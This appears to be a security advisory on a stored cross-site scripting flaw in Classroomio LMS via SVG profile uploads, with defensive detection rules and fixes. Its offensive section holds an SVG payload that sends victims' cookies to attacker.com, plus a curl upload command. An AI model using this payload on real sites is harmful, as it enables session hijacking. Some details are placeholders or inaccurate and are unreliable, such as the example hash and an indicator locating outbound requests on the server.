CVE-2025-65675

Executive Summary

CVE-2025-65675 is a Stored Cross-Site Scripting (XSS) vulnerability in Classroomio LMS version 0.1.13. An authenticated attacker can upload a crafted SVG file as a profile picture, which, when rendered by other users, executes arbitrary JavaScript in the context of their browser. This allows session hijacking, credential theft, and defacement. The vulnerability is unpatched, and no public exploit code exists at this time.

Supply Chain & Package Security

Classroomio LMS is a PHP-based application. No known supply chain compromise has been identified, but the lack of a patch increases risk for deployments using this version.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (authenticated user)
• User Interaction: Required (victim must view profile)
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium – Exploitation requires authentication but can lead to account takeover and data theft.

Deep Dive & Mechanics

The vulnerability resides in the profile picture upload functionality. Classroomio LMS accepts SVG files without sanitizing their content. An attacker can embed JavaScript within an SVG using <script> tags or event handlers (e.g., onload). When a victim views the attacker's profile, the SVG is rendered, and the malicious script executes.

Attack Flow:

1. Attacker logs in and navigates to profile settings.
2. Attacker uploads a crafted SVG containing a payload (e.g., <script>alert('XSS')</script>).
3. Victim views the attacker's profile.
4. The SVG is served with Content-Type: image/svg+xml and executed in the victim's browser.
5. Payload steals session cookies, redirects to phishing page, or performs actions on behalf of the victim.

Root Cause: Lack of input validation and sanitization for SVG files, and missing Content-Type enforcement (e.g., requiring image/png or image/jpeg).

Vulnerable vs. Patched Code

Vulnerable Code (profile upload handler):

// No file type validation or SVG sanitization
$target_file = "uploads/" . basename($_FILES["profile_pic"]["name"]);
move_uploaded_file($_FILES["profile_pic"]["tmp_name"], $target_file);

Patched Code (recommended):

// Validate MIME type and sanitize SVG
$allowed_types = ['image/png', 'image/jpeg', 'image/gif'];
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES["profile_pic"]["tmp_name"]);
if (!in_array($mime, $allowed_types)) {
    die("Invalid file type.");
}
// If SVG is allowed, sanitize with a library like enshrined/svg-sanitizer

Exploitation & Lab Setup

Red Team (Offensive)

Crafting the SVG Payload:

<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
  <script>
    fetch('https://attacker.com/steal?cookie=' + document.cookie);
  </script>
</svg>

Upload via cURL:

curl -X POST -F "profile_pic=@malicious.svg" -b "session=attacker_session" http://target.com/profile/upload

Lab Setup:

• Install Classroomio LMS 0.1.13 on a local server (e.g., XAMPP).
• Create two accounts: attacker and victim.
• Attacker uploads the SVG.
• Victim views attacker's profile to trigger XSS.

Blue Team (Defensive)

Detection:

• Monitor for uploads of files with .svg extension.
• Inspect HTTP requests for Content-Type: image/svg+xml in profile uploads.
• Use WAF rules to block SVG files in profile picture endpoints.

Prevention:

• Restrict profile pictures to raster formats (PNG, JPEG, GIF).
• Implement server-side MIME type validation.
• Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

• File Hashes (SHA256): e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example – replace with actual malicious SVG hash)
• Network: Outbound HTTP requests to attacker-controlled domains from the LMS server.
• Logs: Upload logs showing .svg files in profile picture directory.
• URL Pattern: /uploads/profile_pics/*.svg

Detection Engineering

YARA Rule

rule Detect_Malicious_SVG_Profile_Pic {
    meta:
        description = "Detects SVG files with embedded JavaScript used for XSS in Classroomio LMS"
        author = "Valters IT"
        date = "2025-04-10"
    strings:
        $svg_tag = "<svg"
        $script_tag = "<script"
        $onload = "onload="
        $onerror = "onerror="
    condition:
        $svg_tag and ($script_tag or $onload or $onerror)
}

Sigma Rule

title: Classroomio LMS Stored XSS via SVG Profile Picture
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects upload of SVG files to profile picture endpoint
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http.method: POST
        http.url: "/profile/upload"
        http.content_type: "image/svg+xml"
    condition: selection
falsepositives:
    - Legitimate SVG uploads if allowed
level: high

Suricata Rule

alert http any any -> any any (msg:"Classroomio LMS Stored XSS - SVG Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/profile/upload"; http.content_type; content:"image/svg+xml"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable SVG uploads in the application configuration.
2. Implement strict MIME type validation (only allow image/png, image/jpeg, image/gif).
3. Apply a Web Application Firewall (WAF) rule to block SVG files in profile uploads.

Long-Term Fix:

• Upgrade to a patched version once available.
• Use a library like enshrined/svg-sanitizer if SVG support is required.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Workaround:

• Manually edit the upload handler to reject .svg files.

Valters IT